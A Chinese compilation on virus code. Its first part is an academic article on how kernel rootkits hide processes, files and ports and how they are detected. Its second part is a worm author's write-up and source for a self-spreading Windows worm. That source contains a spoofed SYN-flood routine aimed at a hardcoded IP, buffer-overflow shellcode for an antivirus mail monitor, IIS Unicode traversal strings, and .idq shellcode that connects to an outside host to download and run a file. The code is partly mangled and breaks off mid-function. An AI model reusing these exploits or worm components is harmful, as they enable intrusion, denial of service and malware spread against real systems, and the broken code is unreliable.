病毒代码分析

2024-08-14

病毒代码分析(精选4篇)

病毒代码分析 篇1

1 引言

近些年来,计算机病毒代码依赖一些特殊的NativeAPI函数和内核系统函数进行感染、传播、隐藏的这种趋势愈加明显,并大量地使用了多重加密壳、驱动关联壳、变形壳等代码保护机制和多态和变形等新的技术。传统的计算机病毒代码查杀技术遭到了严重的挑战。

计算机病毒代码开发者想尽了各种办法,对进程、文件、注册表、系统服务、网络服务等各方面信息进行了控制,内核级的病毒代码做得更加巧妙和隐蔽。从技术上进行分类,病毒代码使用的技术手段可以分为:用户模式系统调用劫持、核心模式系统调用劫持、核心模式数据篡改、核心模式中断处理程序劫持。

2 进程信息的控制

大家知道,Windows操作系统给提供了两套公开的API函数来获得进程信息:一套是PSAPI,通过EnumProcesses()函数来枚举进程,另一套是ToolHelp32,通过Process32First()和Process32Next()函数来获得整个进程列表。现在运行在用户层的病毒代码一般都会让自己在系统进程列表中消失,原理是HOOK上述进程相关API函数,将自身进程从最后的进程列表中去除,但这样做一般很容易发现。PSAPI和ToolHelp32都是通过调用位于ntdll.dll中的一个nativeAPI函数NtQuerySystemInformation()获取进程信息,而函数NtQuerySy stemInformation()是依靠内核函数ExpGetProcessInformation()遍历ActiveProcessLinks,通过EPROCESS结构(其中包含ActiveProcessLinks项,类型为LIST_ENTRY)获得真实进程列表信息。整个环节中,内核态的病毒代码可以试图通过HOOK函数NtQuerySystemInformation()和函数ExpGetProcessI nformation(),将自己的相关进程从返回结果中去除或者直接从ActiveProcessLinks摘除自身相关进程信息,即把要隐藏的进程的EPROCESS从LIST_ENTRY中摘除。另外几乎所有的反病毒代码查杀软件和系统进程软件使用PsSetCreateProcessNotifyRoutine()来监视进程创建和销毁,但是令人遗憾的是该函数最多只能设置8个回调函数,因此有不少内核级的病毒代码被动隐藏自身相关进程的时候,还主动地销毁掉其它进程监控软件使用的回调函数,让进程监控失效。

3 文件和注册表信息的控制

内核病毒代码往往要对自身宿主文件和所在目录进行隐藏,达到保护自身的目地。在NT内核操作系统中,与文件和目录相关的API函数基本上都是调用ntdll.dll中的几个NativeAPI函数NtQueryVolumeInformationFile、NtQueryDirectory File、NtCreateFile、Nt VdmControl(对应内核态下为ZwQueryV olumeInformationFile、ZwQueryDirectoryFile、ZwCreateFile、ZwVdmControl)。

4 系统服务和网络信息的控制

对系统服务的控制主要是针对advapi32.dll的四个系统函数EnumServiceGroupW、EnumServicesStatusExW、EnumServic esStatusExA、EnumServicesStatusA进行HOOK,过滤掉返回结果中的病毒代码启动的服务信息,原理和前面的文件信息控制几乎是一样的。对网络信息的控制方法更多,比如在TDI层次上进行拦截,TDI导出了两个设备“DeviceTcp”与“DeviceUdp”,内核病毒代码用设备过滤驱动的方法把这两个设备的所有IRP包接管过来进行处理后再传给下层驱动,这样可以达到以达到隐藏任意端口的目的。在NDIS驱动层上进行拦截,病毒代码自己处理自身远程控制用的封包。

5 病毒代码的手工分析方法

每一种病毒代码分析方法都有自己的特点,能够分析的病毒代码特征也有较大差异,手工进行病毒代码分析需要几种方法联合使用,相互之间取长补短。通常情况下,手工分析病毒代码需要完成以下几个步骤:

(1)利用静态特征分析的方法分析病毒代码的加密和压缩特性(比如各种壳),提取病毒代码的有关的文件名称、文件校验、特征码、特征字符串等特征码;

(2)通过动态调试法来评估病毒代码运行过程中对系统文件、注册表和网络通信状态的影响。由于这种分析方法需要实际运行病毒代码,因此可能会对病毒代码所在的操作系统构成严重安全威胁,一般处理方法是在虚拟机上运行病毒代码,并且建立前后注册表和系统快照;

(3)通过静态语义分析,根据S1和S2的结果判断病毒代码的功能模块构成、具体功能、可能使用的技术和实现方式;

(4)利用S3分析结果,再次进行跟踪调试,重点观测静态分析过程中不太明确的功能领域和实现方式;

(5)对病毒代码所有技术特征进行评估,并给出详细的报告。

根据上述的分析过程描述,虽然可以得到比较全面的病毒代码信息,但是可以看出一方面手工分析病毒代码是非常耗时和低效率的,另一方面需要分析人员具有较高的专业素质和分析经验。

6 病毒代码检测现状

病毒代码的分析方法有多种类型,一般可以将病毒代码分析方法分成基于代码特征的分析方法、基于代码语义的分析方法、基于代码行为的分析方法三种。目前大部分反病毒代码软件所用的自动检测方法有病毒代码特征码、启发法、完整性验证等。

基于特征码的检测法:这是使用最广泛和最古老的方法,通过密罐系统提取病毒代码的样本分析,采集他们的独有的特征指令序列,当反病毒代码软件扫描文件时,将当前的文件与病毒代码特征码库进行对比,判断是否有文件片段与已知特征码是否匹配;

启发式检测法:这种方法的思想是为病毒代码的特征设定一个阈值,扫描器分析文件时,当文件类似病毒代码的特征程度,就将其看作是病毒代码。例如对于某种病毒代码,一般都会固定调用特定的一些内核函数(尤其是那些与进程列表、注册表和系统服务列表相关的函数),通常这些函数在代码中出现的顺序也有一定的规律,因此通过对某种病毒代码调用内核函数的名称和次数进行分析,可以建立一个个病毒代码内核函数调用集合,比较待查程序调用的内核函数和数据库中已知病毒代码的内核函数调用集合的贴近度;

基于行为的检测法:利用病毒代码的特有行为特征来监测病毒代码的方法。当程序运行时,监视其行为,如果发现了病毒代码行为,立即报警,另外行为特征识别通常需要使用类神经网络一类方法来训练分析器,并能够准确地用形式化的方法来定义病毒代码的特征。

完整性验证法:这种方法主要是检查程序关键文件(比如重要的SYS和DLL)的CRC或者MD5的值与正常值进行比较。

基于特征函数的检测方法:病毒代码要实现特定功能,必要使用系统的API函数(包括内核级和用户级的),因此如果某个程序调用了危险的特定函数集合,有理由怀疑其可能是病毒代码。在程序加载之前,对于引入的任何程序文件,扫描其代码获得其系统函数集合(这个过程可能需要代码逆向技术和虚拟机配合),与实现根据对多个病毒代码分析设置好的一系列特征函数集合做交集运算,就可以知道该程序文件使用了哪些危险的函数,并大致可以估计其功能和属于哪种类型。

方法一的缺点是新病毒代码特征码的提取速度要落后于病毒代码的传播,另外的缺点是无法检测到那些在运行过程中能够进行多态变形的病毒代码。方法二和方法三缺点是误报率比较高、不能识别具体病毒代码类型,实现时一般与神经网络和模糊聚类等方法一起使用,实现起来难度很高。方法四的检测能力十分有限,无法检测并发现动态的病毒代码和新的代码。

除此之外,实际开发中主要还使用以下技术:

(1)比较法。通过直接利用一些底层方法在内核驱动中直接获得信息,再与通过常规使用系统函数方法获取信息比较,如果发现两种方法得到的信息不一样,有理由怀疑存在病毒代码。

(2)进程状态分析法。例如通过内核线程函数KiWaitInLi stHead、KiWaitOutListhead等和一些寄存器标志来检测从那些ActiveProcessLinks上摘除自身隐藏的病毒代码进程。

(3)统计法。根据操作系统取某项系统信息所执行的CPU操作执行指令和指令时间的统计特征与真正系统的比较,也可以发现一些病毒代码的踪迹。著名的内核Rootkit检测方法EPA可以说属于这一类,以上方法中(1)和(2)较为成熟,许多杀毒软件都采用了,方法比较可靠,但速度慢。方法(3)速度较快,但目前还不成熟,误报率较高,离真正实用高效还有很长的一段路要走。

以上方法中(1)和(2)较为成熟,许多杀毒软件都是采用了,方法比较可靠,但速度慢。方法(3)速度较快,但目前还不成熟,误报率较高,离真正实用高效还有很长的一段路要走。

参考文献

[1]NAGARR.WindowsNTfilesysteminternals.NewYork:O.Reilly,2007.

[2](美)JefferyRichter著.Windows核心编程.北京:机械工业出版社,2006.

[3]R Kohavi,GH John.Wrappers for feature subset selection.Arti ficial Intelligence Journal.Special Issue on Relevance,1997,97,97(1/2):273-324.

[4]L.Polkowski,A.Skowron.Rough Sets in Knowledge DiscoV ery2:Applications,Case Studiesand Software Systems.1998.

病毒代码分析 篇2

1.0.0一些声明

本文并不是使用nimda的源代码来讲座的,本文的作者是根据对nimda的行为分析加上作者本人的功底自悟写出来的

本文提供的程序代码均在VC5.0/6.0+win9x/me/+sp1/xp/nt4.0+sp4下测试通过

1.0.1作者介绍

真实姓名:郭宏硕

网上姓名:Squirrel

真实地址:大连市第二十四中学高一年级

真实年龄:17(吃惊吗!)

病毒作品:太多了,。。(把大家害苦了)

邮编:116001

e-mail:suruixuan1@sina.com(属于苏睿暄病毒研发小组)

QQ:28386834

1.1.1

Unicode漏洞

最近网上关于它的东西有不少,所以我就不费口舌了。

直接从网上便可得到许多的资料

1.1.2

WinME/XP UPNP 漏洞

很多 网站上都有它的资料,我就不在这里说了。有漏洞机器大约有30000来台,本次新增

1.1.3

金山毒霸的邮件监控(mailmon.exe)存在缓冲溢出漏洞

tombkeeper说的非常清楚,我就不多说了。这样的机器就更多了。本次新增

1.1.4

IIS5.0 .idq 漏洞

前些日子的Redcode就用的这个。本次新增

1.1.5

IIS4.0的缓冲漏洞

古老的漏洞了,不过仍有有这个漏洞的机器。本次新增

1.2 TFTP

这个东西用TFTPd.exe就行了,不过我这里使用TFTP.DLL作服务器。原因是我不想让人发现它的进程。这一次还利用了FTP服务器www.wormworld.com作中转。本次改进

1.4 Riched20.dll

其实就是把%system%//Riched20.dll的结构导出来,修改Dllmain的代码,把病毒体从它的体内分离出来。

这东西写起来即麻烦又废时间,索性使用另外的方法代替了

riched20函数的内容

HANDLE hFile=CreateFile(“riched20.DLL”,GENERIC_ALL,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

if(hFile==INVALID_HANDLE_VALUE)

{

//printf(“ Create file %s failed:%d”,RemoteFilePath,GetLastError());

return -1

}

//写文件内容

DWORD i=0,dwIndex=0,dwWrite,dwSize=sizeof(tftpdllbuff)

while(dwSize>dwIndex)

{

if(!WriteFile(hFile,&richedpdllbuff[dwIndex],dwSize-dwIndex,&dwWrite,NULL))

{

//printf(“ Write file %s failed:%d”,“riched20.DLL”,GetLastError());

return -1

}

dwIndex+=dwWrite;

}

//关闭文件句柄

CloseHandle(hFile);

1.5 Base64

看到代码就懂了

1.6 pe病毒部分

这是新功能。本次新增

1.7 SYNflood

分布式洪水报文攻击。本次新增。

1.8 主程序代码

CODE:

file://Don't forget to link with wsock32.lib :-o

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include

#include #include

#include

#include

#include

#include

#include

#include

#define SEQ 0x28376839

#define SYN_DEST_IP “134.60.98.7” //目的IP(美国国防部)

#define FAKE_IP “134.60.98.7” //伪装IP超始值,本程序的伪装IP覆盖一个B类网段(美国国防部攻击美国国防部??!!)

#define STATUS_FAILED 0xFFFF //错误返回值

typedef struct _iphdr{ //定义IP首部

unsigned char h_verlen; //4位首部长度,4位IP版本号

unsigned char tos; //

unsigned short total_len;

unsigned short ident;

unsigned short frag_and_flags;

unsigned short ttl;

unsigned char proto;

unsigned short checksum;

unsigned int sourceIP;

unsigned int destIP;

}IP_HEADER;

struct{ //定义TCP伪首部

unsigned long saddr;

unsigned long daddr;

char mbz;

char ptcl;

unsigned short tcpl;

}psd_header;

typedef struct _tcphdr{ //定义TCP首部

USHORT th_sport;

USHORT th_dpost;

unsigned int ht_seq;

unsigned int ht_ack;

unsigned char th_lenres;

unsigned char th_flag;

USHORT th_win;

USHORT th_sum;

USHORT th_urp;

}TCP_HEADER;

USHORT checksum(USHORT *buffer,int size){ //计算验和的子函数

unsigned long chsum=0;

while(size>1){

chsum+=*buffer++;

size-=sizeof(USHORT);

}

if(size){

chsum+=*(UCHAR*)buffer;

}

chsum=(chsum>>16)+(chsum & 0xffff);

chsum+=(chsum>>16);

return (USHORT)(~chsum);

}

int WINAPI flood()

{

int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;

int TimeOut=2000,SendSEQ=0;

char SendBuf[128]={0};

char RecvBuf[65535]={0};

WSADATA wsaData;

SOCKET SockRaw=(SOCKET)NULL;

struct sockaddr_in DestAddr;

IP_HEADER ip_header;

TCP_HEADER tcp_header;

//初始化SOCK_RAW

if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0){

//fprintf(stderr,“WSAStartup failed:%d ”,ErrorCode);

return 0

}

//建立套接字

SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);

if(SockRaw==INVALID_SOCKET){

//fprintf(stderr,“WSASocket() failed:%d ”,WSAGetLastError());

return 0

}

flag=TRUE;

//设置IP_HDRINCL以自己填充IP首部

ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));

if(ErrorCode==SOCKET_ERROR)//printf(“Set IP_HDRINCL Error! ”);

__try{

ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char *)&TimeOut,sizeof(TimeOut));

if(ErrorCode==SOCKET_ERROR){

//fprintf(stderr,“Failed to set send TimeOut:%d ”,WSAGetLastError());

return 0

}

memset(&DestAddr,0,sizeof(DestAddr));

DestAddr.sin_family=AF_INET;

DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);

FakeIpNet=inet_addr(FAKE_IP);

FakeIpHost=ntohl(FakeIpNet);

//填充IP首部

ip_header.h_verlen =(4<<4 | sizeof(ip_header)/sizeof(unsigned long)); //高四位IP版本号

ip_header.total_len =htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度

ip_header.ident =1;

ip_header.frag_and_flags =0;

ip_header.ttl =128;

ip_header.proto =IPPROTO_TCP;

ip_header.checksum =0;

ip_header.sourceIP =htonl(FakeIpHost+SendSEQ);

ip_header.destIP =inet_addr(SYN_DEST_IP);

//填充TCP首部

tcp_header.th_sport =htons(7000);

tcp_header.th_dpost =htons(8080);

tcp_header.ht_seq=htonl(SEQ+SendSEQ);

tcp_header.ht_ack=0;

tcp_header.th_lenres =(sizeof(TCP_HEADER)/4<<4|0);

tcp_header.th_flag =2;

tcp_header.th_win =htons(16384);

tcp_header.th_urp =0;

tcp_header.th_sum =0;

//填充TCP伪首部

psd_header.saddr=ip_header.sourceIP ;

psd_header.daddr=ip_header.destIP ;

psd_header.mbz=0;

psd_header.ptcl=IPPROTO_TCP;

psd_header.tcpl=htons(sizeof(tcp_header));

while(1){

//每发送1024个报文输出一个标示符

//printf(“.”);

for(counter=0;counter<1024;counter++){

if(SendSEQ++==65536)SendSEQ=1; //序列循环

//改IP首部

ip_header.checksum =0;

ip_header.sourceIP =htonl(FakeIpHost+SendSEQ); //32位源IP

//改TCP首部

tcp_header.ht_seq =htonl(SEQ+SendSEQ); //SYN序列号

tcp_header.th_sum =0;

//改TCP Pseudo Header

psd_header.saddr=ip_header.sourceIP ;

//计算TCP校验和,计算校验和时需要包括TCP pssudo header

memcpy(SendBuf,&psd_header,sizeof(psd_header));

memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));

tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));

//计算IP校验和

memcpy(SendBuf,&ip_header,sizeof(ip_header));

memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));

memcpy(SendBuf+sizeof(ip_header),sizeof(tcp_header),0,4);

datasize=sizeof(ip_header)+sizeof(tcp_header);

//填充发送缓冲区

memcpy(SendBuf,&ip_header,sizeof(ip_header));

//发送

ErrorCode=sendto(SockRaw,SendBuf,datasize,0,(struct sockaddr*)&DestAddr,sizeof(DestAddr));

if(ErrorCode==SOCKET_ERROR)//printf(“Send Error:%d ”,GetLastError());

}//end for

}//end while

}//end try

__finally{

if(SockRaw!=INVALID_SOCKET)closesocket(SockRaw);

WSACleanup();

}

return 0;

}//end flood

HMODULE hKERNEL32 ;

FARPROC a_RegisterServiceProcess ;

HMODULE hMPR ;

FARPROC a_WNetOpenEnum ;

FARPROC a_WNetCloseEnum ;

FARPROC a_WNetEnumResource ;

HMODULE hADVAPI ;

FARPROC a_RegOpenKeyExA ;

FARPROC a_RegQueryValueExA ;

FARPROC a_RegCloseKey ;

HINSTANCE hWINSOCK ;

FARPROC a_WSAStartup ;

FARPROC a_inet_addr ;

FARPROC a_gethostbyaddr ;

FARPROC a_gethostbyname ;

FARPROC a_htons ;

FARPROC a_socket ;

FARPROC a_connect ;

FARPROC a_send ;

FARPROC a_recv ;

FARPROC a_closesocket ;

FARPROC a_WSACleanup ;

SOCKET conn_socket ;

char szSMTPname[ 256] ;

char szSMTPaddr[ 256] ;

char szMAIL_FROM[ 256] ;

char szRCPT_TO[ 256] ;

int Found ;

BOOL InetActivated ;

BOOL MailDone ;

long WINAPI L0calThread ( long) ;

long WINAPI Rem0teThread ( long) ;

long WINAPI MailThread ( long) ;

void NetW0rming ( LPNETRESOURCE) ;

void Rem0teInfecti0n ( char *) ;

BOOL str2socket ( char *, BOOL) ;

BOOL GetSMTP ( char *, char *) ;

void base64_encode ( const void *, int) ;

char *DecryptStr ( char *) ;

void FindPe0ple ( char *) ;

void WaitC0nnected ( void) ;

BOOL CALLBACK EnumWindowsProc ( HWND, LPARAM) ;

//金山毒霸漏洞代码

unsigned char eip[8] = JUMPESP;

unsigned char sploitx[] = {

0x90, 0x8b, 0xfc,

0x33, 0xc0, 0x50, 0xf7, 0xd0, 0x50, 0x59, 0xf2, 0xaf, 0x59, 0xb1, 0xc6,

0x8b, 0xc7, 0x48, 0x80, 0x30, 0x99, 0xe2, 0xfa, 0x33, 0xf6, 0x96, 0xbb,

0x99, 0xac, 0xb0, 0x42, 0xc1, 0xeb, 0x08, 0x56, 0xff, 0x13, 0x8b, 0xd0,

0xfc, 0x33, 0xc9, 0xb1, 0x0b, 0x49, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75,

0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe0, 0xff, 0x13, 0xab, 0x59, 0x5a,

0xe2, 0xec, 0x32, 0xc0, 0xac, 0x84, 0xc0, 0x75, 0xf9, 0xb3, 0xac, 0x56,

0xff, 0x13, 0x8b, 0xd0, 0xfc, 0x33, 0xc9, 0xb1, 0x06, 0x32, 0xc0, 0xac,

0x84, 0xc0, 0x75, 0xf9, 0x52, 0x51, 0x56, 0x52, 0xb3, 0xe0, 0xff, 0x13,

0xab, 0x59, 0x5a, 0xe2, 0xec, 0x83, 0xc6, 0x05, 0x33, 0xc0, 0x50, 0x40,

0x50, 0x40, 0x50, 0xff, 0x57, 0xe8, 0x93, 0x6a, 0x10, 0x56, 0x53, 0xff,

0x57, 0xec, 0x6a, 0x02, 0x53, 0xff, 0x57, 0xf0, 0x33, 0xc0, 0x57, 0x50,

0xb0, 0x0c, 0xab, 0x58, 0xab, 0x40, 0xab, 0x5f, 0x48, 0x50, 0x57, 0x56,

0xad, 0x56, 0xff, 0x57, 0xc0, 0x48, 0x50, 0x57, 0xad, 0x56, 0xad, 0x56,

0xff, 0x57, 0xc0, 0x48, 0xb0, 0x44, 0x89, 0x07, 0x57, 0xff, 0x57, 0xc4,

0x33, 0xc0, 0x8b, 0x46, 0xf4, 0x89, 0x47, 0x3c, 0x89, 0x47, 0x40, 0x8b,

0x06, 0x89, 0x47, 0x38, 0x33, 0xc0, 0x66, 0xb8, 0x01, 0x01, 0x89, 0x47,

0x2c, 0x57, 0x57, 0x33, 0xc0, 0x50, 0x50, 0x50, 0x40, 0x50, 0x48, 0x50,

0x50, 0xad, 0x56, 0x33, 0xc0, 0x50, 0xff, 0x57, 0xc8, 0xff, 0x76, 0xf0,

0xff, 0x57, 0xcc, 0xff, 0x76, 0xfc, 0xff, 0x57, 0xcc, 0x48, 0x50, 0x50,

0x53, 0xff, 0x57, 0xf4, 0x8b, 0xd8, 0x33, 0xc0, 0xb4, 0x04, 0x50, 0xc1,

0xe8, 0x04, 0x50, 0xff, 0x57, 0xd4, 0x8b, 0xf0, 0x33, 0xc0, 0x8b, 0xc8,

0xb5, 0x04, 0x50, 0x50, 0x57, 0x51, 0x56, 0xff, 0x77, 0xa8, 0xff, 0x57,

0xd0, 0x83, 0x3f, 0x01, 0x7c, 0x22, 0x33, 0xc0, 0x50, 0x57, 0xff, 0x37,

0x56, 0xff, 0x77, 0xa8, 0xff, 0x57, 0xdc, 0x0b, 0xc0, 0x74, 0x2f, 0x33,

0xc0, 0x50, 0xff, 0x37, 0x56, 0x53, 0xff, 0x57, 0xf8, 0x6a, 0x50, 0xff,

0x57, 0xe0, 0xeb, 0xc8, 0x33, 0xc0, 0x50, 0xb4, 0x04, 0x50, 0x56, 0x53,

0xff, 0x57, 0xfc, 0x57, 0x33, 0xc9, 0x51, 0x50, 0x56, 0xff, 0x77, 0xac,

0xff, 0x57, 0xd8, 0x6a, 0x50, 0xff, 0x57, 0xe0, 0xeb, 0xaa, 0x50, 0xff,

0x57, 0xe4, 0x90, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa, 0xab, 0x99,

0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde,

0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb, 0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff,

0xf6, 0xd8, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6,

0xfa, 0xfc, 0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,

0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2, 0xd7, 0xf8,

0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99, 0xde, 0xf5, 0xf6, 0xfb,

0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6, 0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed,

0xfc, 0xdf, 0xf0, 0xf5, 0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0,

0xf5, 0xfc, 0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,

0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0xce, 0xca, 0xd6,

0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6, 0xfa, 0xf2, 0xfc, 0xed, 0x99,

0xfb, 0xf0, 0xf7, 0xfd, 0x99, 0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99,

0xf8, 0xfa, 0xfa, 0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99,

0xeb, 0xfc, 0xfa, 0xef, 0x99, 0x9b, 0x99,

0x99, 0x0d, //port=148

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0xfa, 0xf4, 0xfd, 0xb7, 0xfc, 0xe1, 0xfc, 0x99, 0xff, 0xff, 0xff, 0xff,

0x0d, 0x0a};

//这段溢出代码是一段通用的溢出代码,只要改其中几个地方就可以用于任何一个程序的溢出,是ipxodi写的

//0xbb,0x99, 0xac, 0xb0, 0x42对应的汇编代码 mov ebx,42b0ach,是mailmon.exe中函数LoadLibraryA的入口地址

//可以用win32Dasm打开mailmon.exe查找LoadLibraryA,会看见:0040f7c2 ff15acb04200 Call dword ptr [0042b0ac]

//的字样,如果用于别的程序溢出,也可以这样查找并更改

//0xb3, 0xe0对应的汇编代码喂mov bl,e0h

//可以用win32Dasm打开mailmon.exe查找GetProcAddress,会看见:0041e2bf ff15acb04200 Call dword ptr [0042b0e0]

//的字样,它的地址和LoadLibraryA只最后一个字节不一样,所以mov bl,e0h

//0xb3, 0xac对应的汇编代码为mov bl,ac

//道理和上面一样

//WinME/XP UPNP 漏洞的shellcode声明

#define JUMPESP “x47x8fxaax77”

#define MAX 10000

#define PORTx 5000

#define FREEZE 512

#define NOP 0x43 //inc ebx, instead of 0x90

file://定义常量

int num=0;

int ExeDirNum=0;

HANDLE hSemaphore=NULL;

char *mybytes;

unsigned long sizemybytes;

MaxThread=100;//最大开100个线程扫描

file://下面定义漏洞数组

char *vers=“KittyXP.a”//版本号

char *writer=“Squirrel in Dalian”//作者?

char *hole[]={“%c0%2f..%c0%2f..%c0%2f”,

“%c0%af..%c0%af..%c0%af”,

“%c1%1c..%c1%1c..%c1%1c”,

“%c1%9c..%c1%9c..%c1%9c”,

“%c0%2f..%c0%2f..%c0%2f”,

“%c0%af”,

“%c1%9c”,

“%c1%pc”,

“%c0%9v”,

“%c0%qf”,

“%c1%8s”,

“%c1%1c”,

“%c1%9c”,

“%c1%af”,

“%e0%80%af”,

“%f0%80%80%af”,

“%f8%80%80%80%af”,

“%fc%80%80%80%80%af”,

“%e0%80%af../..%e0%80%af../..%e0%80%af”,

“%e0%80%af..%e0%80%af..%e0%80%af”,

“%c1%1c../..%c1%1c../..%c1%1c”,

“%e0%80%af../..%e0%80%af../..%e0%80%af”,

“%e0%80%af..%e0%80%af..%e0%80%af”,“%c1%1c../..%c1%1c../..%c1%1c”,

“%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af../..%e0%80%af”,

“%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af..%e0%80%af”,

“%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c../..%c1%1c”};

file://下面7个漏洞出现的目录,可以自己定义更多,但务必修改后改下面的for循环数字

char *ExeDirs[7]={“scripts”,“msadc”,“cgi-bin”,“_vti_bin”,“_vti_bin/msadc”,“scripts/msadc”,“IISADMPWD”};

unsigned char tftpdllbuff[]=“”;//这里存放的是Tftp.dll的二进制码

//unsigned char riched20dllbuff[]=“”;//这里存放的是riched20.dll的二进制码

file://声明函数

long GetLocalIP(void);//获得本机IP

DWORD WINAPI FindExeDir(LPVOID lp);//找到可执行目录

char *GetData(int SockFD);//获取SEND返回的数据

char * find(const char*pszSource,const char * pszKey);//在返回数据中查找指定字符串

DWORD WINAPI TFTP32();

//DWORD WINAPI Riched20()

int WINAPI redcode(char *argv[])

int WINAPI iis4(char *argv[])

int WINAPI xpmethd(char *argv[])

int WINAPI anitthd(char *argv[])

void WINAPI pevirus(char *argv[])

void WINAPI worm()

char *localpath;//system32的路径

char *exedir;//脚本路径

char* WebPath;//首页所存放的路径

//下面是关于IIS5.0 .idq 漏洞的声明

#define RET 0x77e516de /* jmp or call ebx */

#define GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */

#define GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */

#define GMHANDLEA_OFFSET 24

#define GPADDRESS_OFFSET 61

#define OFFSET 234 /* exception handler offset */

#define NOP 0x41

#define MASKING 1

#if MASKING

#define PORTMASK 0x4141

#define ADDRMASK 0x41414141

#define PORTMASK_OFFSET 128

#define ADDRMASK_OFFSET 133

#endif

#define PORT 80

#define ADDR “www.squirrel.com.cn”//作者的主页?

#define PORT_OFFSET 115

#define ADDR_OFFSET 120

unsigned char shellcode[]=

“x5Bx33xC0x40x40xC1xE0x09x2BxE0x33xC9x41x41x33xC0”

“x51x53x83xC3x06x88x03xB8xDDxCCxBBxAAxFFxD0x59x50”

“x43xE2xEBx33xEDx8BxF3x5Fx33xC0x80x3Bx2Ex75x1Ex88”

“x03x83xFDx04x75x04x8Bx7Cx24x10x56x57xB8xDDxCCxBB”

“xAAxFFxD0x50x8Dx73x01x45x83xFDx08x74x03x43xEBxD8”

“x8Dx74x24x20x33xC0x50x40x50x40x50x8Bx46xFCxFFxD0”

“x8BxF8x33xC0x40x40x66x89x06xC1xE0x03x50x56x57x66”

“xC7x46x02xBBxAAxC7x46x04x44x33x22x11”

#if MASKING

“x66x81x76x02x41x41x81x76x04x41x41x41x41”

#endif

“x8Bx46xF8xFFxD0x33xC0”

“xC7x06x5Cx61x61x2ExC7x46x04x65x78x65x41x88x46x07”

“x66xB8x80x01x50x66xB8x01x81x50x56x8Bx46xECxFFxD0”

“x8BxD8x33xC0x50x40xC1xE0x09x50x8Dx4Ex08x51x57x8B”

“x46xF4xFFxD0x85xC0x7Ex0Ex50x8Dx4Ex08x51x53x8Bx46”

“xE8xFFxD0x90xEBxDCx53x8Bx46xE4xFFxD0x57x8Bx46xF0”

“xFFxD0x33xC0x50x56x56x8Bx46xE0xFFxD0x33xC0xFFxD0”;

unsigned char storage[]=

“xEBx02”

“xEBx4E”

“xE8xF9xFFxFFxFF”

“msvcrt.ws2_32.socket.connect.recv.closesocket.”

“_open._write._close._execl.”;

unsigned char forwardjump[]=

“%u08eb”;

unsigned char jump_to_shell[]=

“%uC033%uB866%u031F%u0340%u8BD8%u8B03”

“%u6840%uDB33%u30B3%uC303%uE0FF”;

unsigned int resolve(char *name)

{

struct hostent *he;

unsigned int ip;

if((ip=inet_addr(name))==(-1))

{

if((he=gethostbyname(name))==0)

return 0;

memcpy(&ip,he->h_addr,4);

}

return ip;

}

int make_connection(char *address,int port)

{

struct sockaddr_in server,target;

int s,i,bf;

fd_set wd;

struct timeval tv;

s = socket(AF_INET,SOCK_STREAM,0);

if(s<0)

return -1;

memset((char *)&server,0,sizeof(server));

server.sin_family = AF_INET;

server.sin_addr.s_addr = htonl(INADDR_ANY);

server.sin_port = 0;

target.sin_family = AF_INET;

target.sin_addr.s_addr = resolve(address);

if(target.sin_addr.s_addr==0)

{

close(s);

return -2;

}

target.sin_port = htons(port);

bf = 1;

ioctl(s,FIONBIO,&bf);

tv.tv_sec = 10;

tv.tv_usec = 0;

FD_ZERO(&wd);

FD_SET(s,&wd);

connect(s,(struct sockaddr *)&target,sizeof(target));

if((i=select(s+1,0,&wd,0,&tv))==(-1))

{

close(s);

return -3;

}

if(i==0)

{

close(s);

return -4;

}

i = sizeof(int);

getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);

if((bf!=0)||(i!=sizeof(int)))

{

close(s);

errno = bf;

return -5;

}

ioctl(s,FIONBIO,&bf);

return s;

}

int get_connection(int port)

{

struct sockaddr_in local,remote;

int lsock,csock,len,reuse_addr;

